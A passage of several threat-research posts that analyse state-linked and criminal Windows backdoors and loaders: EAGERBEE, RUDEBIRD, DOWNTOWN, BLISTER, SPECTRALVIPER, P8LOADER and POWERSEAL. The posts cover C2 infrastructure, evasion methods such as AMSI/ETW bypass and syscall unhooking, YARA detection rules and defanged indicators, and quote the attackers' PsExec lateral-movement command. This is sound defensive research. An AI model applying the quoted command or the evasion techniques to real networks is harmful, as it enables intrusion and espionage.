EAGERBEE is a technically straightforward backdoor with forward and reverse C2 and SSL encryption capabilities, used to conduct basic system enumeration and deliver subsequent executables for post-exploitation. The C2 mode is defined at compile time, and configurable with an associated config file with hardcoded fallback.

Using code overlap analysis, and the fact that EAGERBEE was bundled with other samples from VirusTotal, we identified a C2 server hosted on Mongolian government infrastructure. The associated lure documents also reference Mongolian government policy initiatives. This leads us to believe that the Mongolian government or non-governmental organizations (NGOs) may have been targeted by the REF2924 threat actor.

RUDEBIRD

Within the contested REF2924 environment, Elastic Security Labs identified a lightweight Windows backdoor that communicates over HTTPS and contains capabilities to perform reconnaissance and execute code. We refer to this malware family as RUDEBIRD.

Initial execution

The backdoor was executed by a file with an invalid signature, C:\Windows\help\RVTDM.exe, which resembles the Sysinternals screen magnifier utility ZoomIt. Shortly after being executed, Elastic Defend registered a process injection alert.

The process was executed with the parent process (w3wp.exe) coming from a Microsoft Exchange application pool. This is consistent with the exploitation of an unpatched Exchange vulnerability, and prior research supports that hypothesis.

Lateral movement

RUDEBIRD used PsExec (exec.exe) to execute itself from the SYSTEM account and then move laterally from victim 0 to another targeted host. It is unclear if PsExec was brought to the environment by the threat actor or if it was already present in the environment.

"C:\windows\help\exec.exe" /accepteula \\{victim-1} -d -s C:\windows\debug\RVTDM.EXE

Code analysis

RUDEIBIRD is composed of shellcode that resolves imports dynamically by accessing the Thread Environment Block (TEB) / Process Environment Block (PEB) and walking the loaded modules to find base addresses for the kernel32.dll and ntdll.dll modules. These system DLLs contain crucial functions that will be located by the malware in order to interact with the Windows operating system.

RUDEBIRD uses a straightforward API hashing algorithm with multiplication (0x21) and addition that is publicly available from OALabs. This provides defense against static-analysis tools that analysts may use to inspect the import table and discern what capabilities a binary has.

After resolving the libraries, there is an initial enumeration function that collects several pieces of information including:

Hostname
Computer name
Username
IP Address
System architecture
Privilege of the current user

For some functions that return larger amounts of data, the malware implements compression using RtlCompressBuffer. The malware communicates using HTTPS to IP addresses loaded in memory from its configuration. We observed two IP addresses in the configuration in our sample:

45.90.58[.]103
185.195.237[.]123

Strangely, there are several functions throughout the program that include calls to OutputDebugStringA. This function is typically used during the development phase and serves as a mechanism to send strings to a debugger while testing a program. Normally, these debug messages are expected to be removed after development is finished. For example, the result of the administrator check is printed if run inside a debugger.

RUDEBIRD uses mutexes to maintain synchronization throughout its execution. On launch, the mutex is set to VV.0.

After the initial enumeration stage, RUDEBIRD operates as a traditional backdoor with the following capabilities:

Retrieve victim’s desktop directory path
Retrieve disk volume information
Perform file/directory enumeration
Perform file operations such as reading/writing file content
Launch new processes
File/folder operations such as creating new directories, move/copy/delete/rename files
Beacon timeout option

DOWNTOWN (SManager/PhantomNet)

In the REF2924 environment, we observed a modular implant we call DOWNTOWN. This sample shares a plugin architecture, and code similarities, and aligns with the victimology described in the publicly reported malware SManager/PhantomNet. While we have little visibility into the impacts of its overall use, we wanted to share any details that may help the community.

SManager/PhantomNet has been attributed to TA428 (Colourful Panda, BRONZE DUDLEY), a threat actor likely sponsored by the Chinese government. Because of the shared plugin architecture, code similarities, and victimology, we are attributing DOWNTOWN with a moderate degree of confidence to a nationally sponsored Chinese threat actor.

Code analysis

For DOWNTOWN, we collected the plugin from a larger framework. This distinction is made based on unique and shared exports from previously published research by ESET. One of the exports contains the same misspelling previously identified in the ESET blog, GetPluginInfomation (note: Infomation is missing an r). The victimology of REF2924 is consistent with their reported victim vertical and region.

In our sample, the plugin is labeled as “ExplorerManager”.

The majority of the code appears to be centered around middleware functionality (linked lists, memory management, and thread synchronization) used to task the malware.

In a similar fashion to RUDEBIRD above, DOWNTOWN also included the debug functionality using OutputDebugStringA. Again, debugging frameworks are usually removed once the software is moved from development to production status. This could indicate that this module is still in active development or a lack of operational scrutiny by the malware author(s).

Some functionality observed in the sample included:

File/folder enumeration
Disk enumeration
File operations (delete/execute/rename/copy)

Unfortunately, our team did not encounter any network/communication functionality or find any domain or IP addresses tied to this sample.

DOWNTOWN Summary

DOWNTOWN is part of a modular framework that shows probable ties to an established threat group. The observed plugin appears to provide middleware functionality to the main implant and contains several functions to perform enumeration.

Network infrastructure intersection

When performing an analysis of the network infrastructure for EAGERBEE and RUDEBIRD, we identified similarities in the domain hosting provider, subdomain naming, registration dates, and service enablement between the two malware families’ C2 infrastructure. Additionally, we were able to use TLS leaf certificate fingerprints to establish another connection between EAGERBEE and the Mongolian campaign infrastructure.

Shared network infrastructure

As identified in the malware analysis section for EAGERBEE, there were two IP addresses used for C2: 185.82.217[.]164 and 195.123.245[.]79.

Of the two, 185.82.217[.]164 had an expired TLS certificate registered to it for paper.hosted-by-bay[.]net. The subdomain registration for paper.hosted-by-bay[.]net and the TLS certificate were registered on December 14, 2020.

!paper.hosted-by-bay[.]net TLS certificate

As identified in the malware analysis section for RUDEBIRD, there were two IP addresses used for C2: 45.90.58[.]103 and 185.195.237[.]123.

45.90.58[.]103 was used to register the subdomain news.hosted-by-bay[.]net, on December 13, 2020.

Both IP addresses (one from EAGERBEE and one from RUDEBIRD) were assigned to subdomains (paper.hosted-by-bay[.]net and news.hosted-by-bay[.]net) within one day at the domain hosted-by-bay[.]net.

Note: While 195.123.245[.]79 (EAGERBEE) and 185.195.237[.]123 (RUDEBIRD) are malicious, we were unable to identify anything atypical of normal C2 nodes. They used the same defense evasion technique (described below) used by 185.82.217[.]164 (EAGERBEE) and 45.90.58[.]103 (RUDEBIRD).

Domain analysis

When performing an analysis of the hosted-by-bay[.]net domain, we see that it is registered to the IP address 45.133.194[.]106. This IP address exposes two TCP ports, one is the expected TLS port of 443, and the other is 62753.

Note: Port 443 has a Let’s Encrypt TLS certificate for paypal.goodspaypal[.]com. This domain does not appear to be related to this research but should be categorized as malicious based on its registration to this IP.

On port 62753, there was a self-signed wildcard TLS leaf certificate with a fingerprint of d218680140ad2c6e947bf16020c0d36d3216f6fc7370c366ebe841c02d889a59 (*.REDACTED[.]mn). This fingerprint is used for one host, shop.REDACTED[.]mn. The 10-year TLS certificate was registered on December 13, 2020.

Validity
Not Before: 2020-12-13 11:53:20
Not After: 2030-12-11 11:53:20
Subject: CN=shop.REDACTED[.]mn

.mn is the Internet ccTLD for Mongolia and REDACTED is a large bank in Mongolia. When researching the network infrastructure for REDACTED, we can see that they do currently own their DNS infrastructure.

It does not appear that shop.REDACTED[.]mn was ever registered. This self-signed TLS certificate was likely used to encrypt C2 traffic. While we cannot confirm that this certificate was used for EAGERBEE or RUDEBIRD, in the malware code analysis of both EAGERBEE and RUDEBIRD, we identified that TLS to an IP address is an available malware configuration option. We do believe that this domain is related to EAGERBEE and RUDEBIRD based on the registration dates, IP addresses, and subdomains of the hosted-by-bay[.]net domain.

As noted in the EAGERBEE malware analysis, we identified two other previously unnamed EAGERBEE samples used to target Mongolian victims and also leveraged Mongolian C2 infrastructure.

Defense evasion

Finally, we see all of the C2 IP addresses add and remove services at similar dates and times. This is a tactic to hinder the analysis of the C2 infrastructure by limiting its availability. It should be noted that the history of the service enablement and disablement (provided by Censys.io databases) is meant to show possible coordination in C2 availability. The images below show the last service change windows, further historical data was not available.

192.123.245[.]79 had TCP port 80 enabled on September 22, 2023 at 07:31 and then disabled on September 24, 2023 at 07:42.

!192.123.245[.]79 C2 service windows

185.195.237[.]123 had TCP port 443 enabled on September 22, 2023 at 03:33 and then disabled on September 25, 2023 at 08:08.

!185.195.237[.]123 C2 service windows

185.82.217[.]164 had TCP port 443 enabled on September 22, 2023 at 08:49 and then disabled on September 25, 2023 at 01:02.

!185.82.217[.]164 C2 service windows

45.90.58[.]103 had TCP port 443 enabled on September 22, 2023 at 04:46 and then disabled on September 24, 2023 at 09:57.

!45.90.58[.]103 C2 service windows

Network intersection summary

EAGERBEE and RUDEBIRD are two malware samples, co-resident on the same infected endpoint, in the same environment. This alone builds a strong association between the families.

When adding the fact that both families use C2 endpoints that have been used to register subdomains on the same domain hosted-by-bay[.]net), and the service availability coordination, leads us to say with a high degree of confidence that the malware and campaign operators are from the same tasking authority, or organizational umbrella.

Summary

EAGERBEE, RUDEBIRD, and DOWNTOWN backdoors all exhibit characteristics of incompleteness whether using “Test” in file/service names, ignoring compilation best practices, leaving orphaned code, or leaving a smattering of extraneous debug statements.

They all, however, deliver similar tactical capabilities in the context of this environment.

Local enumeration
Persistence
Download/execute additional tooling
C2 options

The variety of tooling performing the same or similar tasks with varying degrees and types of miscues causes us to speculate that this environment has attracted the interest of multiple players in the REF2924 threat actor’s organization. The victim's status as a government diplomatic agency would make it an ideal candidate as a stepping-off point to other targets within and outside the agency’s national borders. Additionally, it is easy to imagine that multiple entities within a national intelligence apparatus would have collection requirements that could be satisfied by this victim directly.

This environment has already seen the emergence of the REF2924 intrusion set (SIESTAGRAPH, NAPLISTENER, SOMNIRECORD, and DOORME), as well as the deployment of SHADOWPAD and COBALTSTRIKE. The REF2924 and REF5961 threat actor(s) continue to deploy new malware into their government victim’s environment.

REF5961 and MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that advance persistent threats used against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

Malware prevention capabilities

YARA

Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify the EAGERBEE, RUDEBIRD, and DOWNTOWN malware:

EAGERBEE

rule Windows_Trojan_EagerBee_1 {
    meta:
        author = "Elastic Security"
        creation_date = "2023-05-09"
        last_modified = "2023-06-13"
        threat_name = "Windows.Trojan.EagerBee"
        reference_sample = "09005775fc587ac7bf150c05352e59dc01008b7bf8c1d870d1cea87561aa0b06"
        license = "Elastic License v2"
        os = "windows"

    strings:
        $a1 = { C2 EB D6 0F B7 C2 48 8D 0C 80 41 8B 44 CB 14 41 2B 44 CB 0C 41 }
        $a2 = { C8 75 04 33 C0 EB 7C 48 63 41 3C 8B 94 08 88 00 00 00 48 03 D1 8B }

    condition:
        all of them
}

rule Windows_Trojan_EagerBee_2 {
    meta:
        author = "Elastic Security"
        creation_date = "2023-09-04"
        last_modified = "2023-09-20"
        threat_name = "Windows.Trojan.EagerBee"
        reference_sample = "339e4fdbccb65b0b06a1421c719300a8da844789a2016d58e8ce4227cb5dc91b"
        license = "Elastic License v2"
        os = "windows"

    strings:
        $dexor_config_file = { 48 FF C0 8D 51 FF 44 30 00 49 03 C4 49 2B D4 ?? ?? 48 8D 4F 01 48 }
        $parse_config = { 80 7C 14 20 3A ?? ?? ?? ?? ?? ?? 45 03 C4 49 03 D4 49 63 C0 48 3B C1 }
        $parse_proxy1 = { 44 88 7C 24 31 44 88 7C 24 32 48 F7 D1 C6 44 24 33 70 C6 44 24 34 3D 88 5C 24 35 48 83 F9 01 }
        $parse_proxy2 = { 33 C0 48 8D BC 24 F0 00 00 00 49 8B CE F2 AE 8B D3 48 F7 D1 48 83 E9 01 48 8B F9 }

    condition:
        2 of them
}

RUDEBIRD

rule Windows_Trojan_RudeBird {
    meta:
        author = "Elastic Security"
        creation_date = "2023-05-09"
        last_modified = "2023-06-13"
        threat_name = "Windows.Trojan.RudeBird"
        license = "Elastic License v2"
        os = "windows"

  strings:
        $a1 = { 40 53 48 83 EC 20 48 8B D9 B9 D8 00 00 00 E8 FD C1 FF FF 48 8B C8 33 C0 48 85 C9 74 05 E8 3A F2 }

    condition:
        all of them
}

DOWNTOWN

rule Windows_Trojan_DownTown_1 {
    meta:
        author = "Elastic Security"
        creation_date = "2023-05-10"
        last_modified = "2023-06-13"
        threat_name = "Windows.Trojan.DownTown"
        license = "Elastic License v2"
        os = "windows"

    strings:
        $a1 = "SendFileBuffer error -1 !!!" fullword
        $a2 = "ScheduledDownloadTasks CODE_FILE_VIEW " fullword
        $a3 = "ExplorerManagerC.dll" fullword

    condition:
        3 of them
}

rule Windows_Trojan_DownTown_2 {
    meta:
        author = "Elastic Security"
        creation_date = "2023-08-23"
        last_modified = "2023-09-20"
        threat_name = "Windows.Trojan.DownTown"
        license = "Elastic License v2"
        os = "windows"

    strings:
        $a1 = "DeletePluginObject"
        $a2 = "GetPluginInfomation"
        $a3 = "GetPluginObject"
        $a4 = "GetRegisterCode"

    condition:
        all of them
}

Observations

All observables are also available for download in both ECS and STIX format.

The following observables were discussed in this research.

| Observable | Type | Name | Reference | |------------------------------------------------------------------|---------|--------------------|----------------| | ce4dfda471f2d3fa4e000f9e3839c3d9fbf2d93ea7f89101161ce97faceadf9a | SHA-256 | EAGERBEE shellcode | iconcaches.mui | | 29c90ac124b898b2ff2a4897921d5f5cc251396e8176fc8d6fa475df89d9274d | SHA-256 | DOWNTOWN | In-memory DLL | | 185.82.217[.]164 | ipv4 | EAGERBEE C2 | | | 195.123.245[.]79 | ipv4 | EAGERBEE C2 | | | 45.90.58[.]103 | ipv4 | RUDEBIRD C2 | | | 185.195.237[.]123 | ipv4 | RUDEBIRD C2 | |

References

The following were referenced throughout the above research:

Revisiting BLISTER: New development of the BLISTER loader

Salim Bitam,Daniel Stepanic — Thu, 24 Aug 2023 00:00:00 GMT

Preamble

In a fast-paced and ever-changing world of cybercrime threats, the tenacity and adaptability of malicious actors is a significant concern. BLISTER, a malware loader initially discovered by Elastic Security Labs in 2021 and associated with financially-motivated intrusions, is a testament to this trend as it continues to develop additional capabilities. Two years after its initial discovery, BLISTER continues to receive updates while flying under the radar, gaining momentum as an emerging threat. Recent findings from Palo Alto’s Unit 42 describe an updated SOCGHOLISH infection chain used to distribute BLISTER and deploy a payload from MYTHIC, an open-source Command and Control (C2) framework.

Key takeaways

Elastic Security Labs has been monitoring malware loader BLISTER ramping up with new changes, and ongoing development with signs of imminent threat activity
New BLISTER update includes keying feature that allows for precise targeting of victim networks and lowers exposure within VM/sandbox environments
BLISTER now integrates techniques to remove any process instrumentation hook and has modified its configuration with multiple revisions, now encompassing additional fields and flags.

Overview

Our research uncovered new functionality that was previously absent within the BLISTER family, indicating ongoing development. However, the malware authors continue to use a distinctive technique of embedding malicious code in otherwise legitimate applications. This approach superficially appears successful, given the low rates of detection for many vendors as seen in VirusTotal. The significant amount of benign code and use of encryption to protect the malicious code are likely two factors impacting detection.

Recently, Elastic Security Labs has observed many new BLISTER loaders in the wild. After analyzing various samples, it’s clear that the malware authors have made some changes and have been watching the antivirus industry closely. In one sample from early June, we can infer that the authors were testing with a non-production loader that displays a Message Box displaying the strings “Test”.

Readers can see a disassembled view of this functionality below.

By the end of July, we observed campaigns involving a new BLISTER loader that targeted victim organizations to deploy the MYTHIC implant.

At the time of this writing, Elastic Security Labs is seeing a stream of BLISTER samples which deploy MYTHIC and have very low rates of detection.

Comparative analyses

Smuggling malicious code

The authors behind BLISTER employ a consistent strategy of embedding BLISTER's malicious code within a legitimate library. The most recent variants of this loader have targeted the VLC Media Player library to smuggle their malware into victim environments. This blend of benign and malicious code seems effective at defeating some kinds of machine-learning models.

The following is a comparison between a legitimate VLC DLL and one that is infected with BLISTER’s code. In the infected sample, the entry point that references malicious code has been indicated in red. This methodology is similar to prior BLISTER variants.

Different hashing algorithm

One of the changes implemented since our last write-up is the adoption of a different hashing algorithm used in the core and in the loader part of BLISTER. While the previous version used simple logic to shift bytes, this new version includes a hard-coded seed with XOR and multiplication operations. Researchers speculate that changing the hashing approach helps to evade antimalware products that rely on YARA signatures.

Configuration retrieval

Following the decryption of malicious code by the BLISTER’d loader, it employs an identical memory scanning method to identify the configuration data blob. This is accomplished by searching for a predetermined, hardcoded memory pattern. A notable contrast from the earlier iteration of BLISTER lies in the fact that the configuration is now decrypted in conjunction with the core code, rather than being treated as a separate entity.

Environmental keying

A recent addition to BLISTER is the capability to exclusively execute on designated machines. This behavior is activated by configuring the appropriate flag within the malware’s configuration. Subsequently, the malware proceeds to extract the machine's domain name using the GetComputerNameExW Windows API. Following this, the domain name is hashed using the previously mentioned algorithm, and the resulting hash is then compared to a hash present in the configuration. This functionality is presumably deployed for the purpose of targeted attacks or for testing scenarios, ensuring that the malware refrains from infecting unintended systems such as those employed by malware researchers.

One of the few malware analysis tools capable of quickly exposing this behavior is the awesome Tiny Tracer utility by hasherezade. We’ve included an excerpt from Tiny_Tracer below which captures the BLISTER process immediately terminating after the GetComputerNameExW validation is performed in a sandboxed analysis VM.

Time-based anti-debugging feature

Similar to its predecessors, the malware incorporates a time-based anti-debugging functionality. However, unlike the previous versions in which the timer was hardcoded, the updated version introduces a new field in the configuration. This field enables the customization of the sleep timer, with a default value of 10 minutes. This default interval remains unchanged from prior iterations of BLISTER.

Unhook process instrumentation to detect syscalls

In this latest version, BLISTER introduces noteworthy functionality: it unhooks any ongoing process instrumentation, a tactic designed to circumvent userland syscall detection mechanisms upon which certain EDR solutions are based.

BLISTER's configuration

The BLISTER configuration structure has also been changed with the latest variants. Two new fields have been added and the flag field at offset 0 has been changed from a WORD to a DWORD value. The new fields pertain to the hash of the domain for environmental keying and the configurable sleep time; these field values are at offset 4 and 12 respectively. The following is the updated structure of the configuration:

Changes have also been made to the configuration flags, allowing the operator to activate different functions within the malware. Researchers have provided an updated list of functions built upon our prior research into BLISTER.

Payload extractor update

In our previous research publication, we introduced an efficient payload extractor tailored to dissect and extract the configuration and payload of the loader. To dissect the most recent BLISTER variants and capture these new details, we enhanced our extractor which is available here.

Conclusion

BLISTER is one small part of the global cybercriminal ecosystem, providing financially-motivated threats to gain access to victim environments and avoid detection by security sensors. The community should consider these new developments and assess the efficacy of BLISTER detections, Elastic Security Labs will continue to monitor this threat and share actionable guidance.

Detection logic

Prevention

YARA

Elastic Security has created YARA rules to identify this activity. Below is the latest rule that captures the new update to BLISTER.

rule Windows_Trojan_Blister {
    meta:
        author = "Elastic Security"
        creation_date = "2023-08-02"
        last_modified = "2023-08-08"
        os = "Windows"
        arch = "x86"
        category_type = "Trojan"
        family = "Blister"
        threat_name = "Windows.Trojan.Blister"
        license = "Elastic License v2"
    strings:
        $b_loader_xor = { 48 8B C3 49 03 DC 83 E0 03 8A 44 05 48 [2-3] ?? 03 ?? 4D 2B ?? 75 }
        $b_loader_virtual_protect = { 48 8D 45 50 41 ?? ?? ?? ?? 00 4C 8D ?? 04 4C 89 ?? ?? 41 B9 04 00 00 00 4C 89 ?? F0 4C 8D 45 58 48 89 44 24 20 48 8D 55 F0 }
    condition:
        all of them
}

Observed adversary tactics and techniques

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

Techniques / Sub techniques

Techniques and Sub techniques represent how an adversary achieves a tactical goal by performing an action.

References

The following were referenced throughout the above research:

Observables

All observables are also available for download in both ECS and STIX format in a combined zip bundle.

The following observables were discussed in this research.

| Indicator | Type | Reference | |-----------|------|-----------| | 5fc79a4499bafa3a881778ef51ce29ef015ee58a587e3614702e69da304395db | sha256 | BLISTER loader DLL |

Elastic charms SPECTRALVIPER

Cyril François,Daniel Stepanic,Seth Goodwin — Fri, 09 Jun 2023 00:00:00 GMT

Key takeaways

The REF2754 intrusion set leverages multiple PE loaders, backdoors, and PowerShell runners
SPECTRALVIPER is a heavily obfuscated, previously undisclosed, x64 backdoor that brings PE loading and injection, file upload and download, file and directory manipulation, and token impersonation capabilities
We are attributing REF2754 to a Vietnamese-based intrusion set and aligning with the Canvas Cyclone/APT32/OceanLotus threat actor

Preamble

Elastic Security Labs has been tracking an intrusion set targeting large Vietnamese public companies for several months, REF2754. During this timeframe, our team discovered new malware being used in coordination by a state-affiliated actor.

This research discusses:

The SPECTRALVIPER malware
The P8LOADER malware loader
The POWERSEAL malware
Campaign and intrusion analysis of REF2754

Execution flow

The first event recorded was the creation of a file (C:\Users\Public\Libraries\dbg.config) by the System service dropped over SMB from a previously compromised endpoint. The adversary renamed the SysInternals ProcDump utility, used for collecting memory metadata from running processes, to masquerade as the Windows debugger utility ( windbg.exe ). Using the renamed ProcDump application with the -md flag, the adversary loaded dbg.config , an unsigned DLL containing malicious code.

It should be noted, the ProcDump LOLBAS technique requires a valid process in the arguments; so while winlogon.exe is being included in the arguments, it is being used because it is a valid process, not that it is being targeted for collection by ProcDump.

The unsigned DLL (dbg.config) contained DONUTLOADER shellcode which it attempted to inject into sessionmsg.exe , the Microsoft Remote Session Message Server. DONUTLOADER was configured to load the SPECTRALVIPER backdoor, and ultimately the situationally-dependent P8LOADER or POWERSEAL malware families. Below is the execution flow for the REF2754 intrusion set.

Our team also observed a similar workflow described above, but with different techniques to proxy their malicious execution. One example leveraged the Internet Explorer program ( ExtExport.exe ) to load a DLL, while another technique involved side-loading a malicious DLL ( dnsapi.dll ) using a legitimate application ( nslookup.exe ).

These techniques and malware families make up the REF2754 intrusion set.

SPECTRALVIPER code analysis

Overview

During our investigation, we observed a previously-undiscovered backdoor malware family that we’re naming SPECTRALVIPER. SPECTRALVIPER is a 64-bit Windows backdoor coded in C++ and heavily obfuscated. It operates with two distinct communication modes, allowing it to receive messages either via HTTP or a Windows named pipe.

Through our analysis, we have identified the following capabilities:

PE loading/Injection : SPECTRALVIPER can load and inject executable files, supporting both x86 and x64 architectures. This capability enables it to execute malicious code within legitimate processes.
Token Impersonation : The malware possesses the ability to impersonate security tokens, granting it elevated privileges and bypassing certain security measures. This enables unauthorized access and manipulation of sensitive resources.
File downloading/uploading : SPECTRALVIPER can download and upload files to and from the compromised system. This allows the attacker to exfiltrate data or deliver additional malicious payloads to the infected machine.
File/directory manipulation : The backdoor is capable of manipulating files and directories on the compromised system. This includes creating, deleting, modifying, and moving files or directories, providing the attacker with extensive control over the victim's file system.

Execution flow

Launch

SPECTRALVIPER can be compiled as a PE executable or DLL file. Launching the malware as a PE is straightforward by executing .\spectralviper.exe.

However, when the malware is a DLL it will attempt to disguise itself as a legitimate library with known exports such as sqlite3 in our observed sample.

The SPECTRALVIPER entrypoint is hidden within these exports. In order to find the right one, we can brute-force call them using PowerShell and rundll-ng. The PowerShell command depicted below calls each SPECTRALVIPER export in a for loop until we find the one launching the malware capabilities.

for($i=0; $i -lt 20; $i++){.\rundll-ng\rundll64-ng.exe ".\7e35ba39c2c77775b0394712f89679308d1a4577b6e5d0387835ac6c06e556cb.dll" "#$i"}

Upon execution, the binary operates in either HTTP mode or pipe mode, determined by its hardcoded configuration.

Pipe mode

In pipe mode, SPECTRALVIPER opens a named pipe with a hardcoded name and waits for incoming commands, in this example \.\pipe\raSeCIR4gg.

This named pipe doesn’t have any security attributes meaning it’s accessible by everyone. This is interesting because an unsecured named pipe can be overtaken by a co-resident threat actor (either known or unknown to the SPECTRALVIPER operator) or defensive teams as a way to interrupt this execution mode.

However, a specific protocol is needed to communicate with this pipe. SPECTRALVIPER implements the Diffie-Helman key exchange protocol to exchange the key needed to encrypt and decrypt commands transmitted via the named pipe, which is AES-encrypted.

HTTP mode

In HTTP mode, the malware will beacon to its C2 every n seconds, the interval period is generated randomly in a range between 10 and 99 seconds.

Using a debugger, we can force the binary to use the HTTP channel instead of the named pipe if the binary contains a hard-coded domain.

Below is an HTTP request example.

The request contains a cookie header, “ euconsent-v2 ”, which contains host-gathered information. This information is encrypted using RSA1024 asymmetric encryption and base64-encoded using Base64. Below is an example of the cookie content before encryption.

We believe that the first value, in this example “ H9mktfe2k0ukk64nZjw1ow== ”, is the randomly generated AES key that is shared with the server to encrypt communication data.

Commands

While analyzing SPECTRALVIPER samples we discovered its command handler table containing between 33 and 36 handlers.

Below is a table listing of the commands that were identified.

| ID | Name | | --- | -------------------------------------------- | | 2 | DownloadFile | | 3 | UploadFile | | 5 | SetBeaconIntervals | | 8 | CreateRundll32ProcessAndHollow | | 11 | InjectShellcodeInProcess | | 12 | CreateProcessAndInjectShellcode | | 13 | InjectPEInProcess | | 14 | CreateProcessAndHollow | | 20 | CreateRundll32ProcessWithArgumentAndInjectPE | | 81 | StealProcessToken | | 82 | ImpersonateUser | | 83 | RevertToSelf | | 84 | AdjustPrivileges | | 85 | GetCurrentUserName | | 103 | ListFiles | | 106 | ListRunningProcesses | | 108 | CopyFile | | 109 | DeleteFile | | 110 | CreateDirectory | | 111 | MoveFile | | 200 | RunDLLInOwnProcess |

In order to speed up the process of interacting with SPECTRALVIPER, we bypassed the communication protocols and injected our own backdoor into the binary. This backdoor will open a socket and call the handlers upon receiving our messages.

When the AdjustPrivileges command is executed, and depending on the process's current privilege level, the malware will try to set the following list of privileges.

Defense evasion

Code obfuscation

The binary code is heavily obfuscated by splitting each function into multi-level dummy functions that encapsulate the initial logic. On top of that, the control flow of those functions is also obfuscated using control flow flattening. Control flow flattening is an obfuscation technique that removes clean program structures and places the blocks next to each other inside a loop with a switch statement to control the flow of the program.

Below is an example of a second-level identity function where the highlighted parameter p_a1 is just returned despite the complexity of the function.

String obfuscation

SPECTRALVIPER’s strings are obfuscated using a custom structure and AES decryption. The key is hardcoded ( "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f" ) and the IV is contained within the encrypted string structure.

We can decrypt the strings by instrumenting the malware and calling its AES decryption functions.

Summary

SPECTRALVIPER is an x64 backdoor discovered during intrusion analysis by Elastic Security Labs. It can be compiled as an executable or DLL which usually would imitate known binary exports.

It enables process loading/injection, token impersonation, and file manipulation. It utilizes encrypted communication channels (HTTP and named pipe) with AES encryption and Diffie-Hellman or RSA1024 key exchange.

All samples are heavily obfuscated using the same obfuscator with varying levels of hardening.

Using the information we collected through static and dynamic analysis, we were able to identify several other samples in VirusTotal. Using the debugging process outlined above, we were also able to collect the C2 infrastructure for these samples.

P8LOADER

Overview

The Portable Executable (PE) described below is a Windows x64 PE loader, written in C++, which we are naming P8LOADER after one of its exports, P8exit.

Discovery

P8LOADER was initially discovered when an unbacked shellcode alert was generated by the execution of a valid Windows process, RuntimeBroker.exe. Unbacked executable sections, or floating code, are the result of code section types set to “Private” instead of “Image” like you would see when code is mapped to a file on disk. Threads starting from these types of memory regions are anomalous and a good indicator of malicious activity.

If you want to learn more about unbacked executable events, check out the Hunting in Memory research publication by Joe Desimone.

Execution flow

The loader exports two functions that have the capability to load PE binaries into its own process memory, either from a file or from memory.

The PE to be executed is loaded into memory using the VirtualAlloc method with a classic PE loading algorithm (loading sections, resolving imports, and applying relocations).

Next, a new thread is allocated with the entry point of the PE as the starting address.

Finally, the loaded PE’s STDOUT handle is replaced with a pipe and a reading pipe thread is created as a way to redirect the output of the binary to the loader logging system.

On top of redirecting the loaded PE output, the loader uses an API interception mechanism to hook certain APIs of the loaded process, log any calls to it, and send the data through a named pipe (with a randomly generated UUID string as the name).

The hooking of the PE's import table is done at import resolution time by replacing the originally imported function addresses with their own stub.

Defense evasion

String obfuscation

P8LOADER uses a C++ template-based obfuscation technique to obscure errors and debug strings with a set of different algorithms chosen randomly at compile time.

These strings are obfuscated to hinder analysis as they provide valuable information about the loader functions and capabilities.

Summary

P8LOADER is a newly discovered x64 Windows loader that is used to execute a PE from a file or from memory. This malware is able to redirect the loaded PE output to its logging system and hook the PE imports to log import calls.

POWERSEAL code analysis

Overview

During this intrusion, we observed a lightweight .NET PowerShell runner that we call POWERSEAL based on embedded strings. After SPECTRALVIPER was successfully deployed, the POWERSEAL utility would be used to launch supplied PowerShell scripts or commands. The malware leverages syscalls ( NtWriteVirtualMemory ) for evading defensive solutions (AMSI/ETW).

Defense evasion

Event Tracing for Windows (ETW) provides a mechanism to trace and log events that are raised by user-mode applications and kernel-mode drivers. The Anti Malware Scan Interface (AMSI) provides enhanced malware protection for data, applications, and workloads. POWERSEAL adopts well-known and publicly-available bypasses in order to patch these technologies in memory. This increases their chances of success while decreasing their detectable footprint.

For example, POWERSEAL employs common approaches to unhooking and bypassing AMSI in order to bypass Microsoft Defender’s signature

Launch PowerShell

POWERSEAL’s primary function is to execute PowerShell. In the following depiction of POWERSEAL’s source code, we can see that POWERSEAL uses PowerShell to execute a script and arguments ( command ). The script and arguments are provided by the threat actor and were not observed in the environment.

Summary

POWERSEAL is a new and purpose-built PowerShell runner that borrows freely from a variety of open source offensive security tools, delivering offensive capabilities in a streamlined package with built-in defense evasion.

Campaign and adversary modeling

Overview

REF2754 is an ongoing campaign against large nationally important public companies within Vietnam. The malware execution chain in this campaign is initiated with DONUTLOADER, but goes on to utilize previously unreported tooling.

SPECTRALVIPER, an obfuscated x64 backdoor that brings PE loading and injection, file upload and download, file and directory manipulation, token impersonation, and named pipe and HTTP command and control
P8LOADER, an obfuscated Windows PE loader allowing the attacker to minimize and obfuscate some logging on the victim endpoints, and
POWERSEAL, a PowerShell runner with ETW and AMSI bypasses built in for enhanced defensive evasion when using PowerShell tools

Elastic Security Labs concludes with moderate confidence that this campaign is executed by a Vietnamese state-affiliated threat.

Victimology

Using our SPECTRALVIPER YARA signature, we identified two endpoints in a second environment infected with SPECTRALVIPER implants. That environment was discussed in Elastic Security Labs research in 2022 which describes REF4322.

The REF4322 victim is a Vietnam-based financial services company. Elastic Security Labs first talked about this victim and activity group in 2022.

The REF2754 victim has been identified as a large Vietnam-based agribusiness.

Further third party intelligence from VirusTotal, based on retro-hunting the YARA rules available at the end of this research, indicate additional Vietnam-based victims. There were eight total Retrohunt hits:

All were manually confirmed to be SPECTRALVIPER
All samples were between 1.59MB and 1.77MB in size
All VirusTotal samples were initially submitted from Vietnam

Some samples were previously identified in our first party collection, and some were new to us.

Be mindful of the analytic limitations of relying on “VT submitter” too heavily. This third party reporting mechanism may be subject to circular reporting concerns or VPN usage that modifies the GEOs used, and inadvertent reinforcement of a hypothesis. In this case, it was used in an attempt to try to find samples with apparent non-VN origins, without success.

At the time of publication, all known victims are large public companies physically within Vietnam, and conducting business primarily within Vietnam.

Campaign analysis

The overlap with the REF4322 environment occurred fairly recently, on April 20, 2023. One of these endpoints was previously infected with the PHOREAL implant, while the other endpoint was compromised with PIPEDANCE.

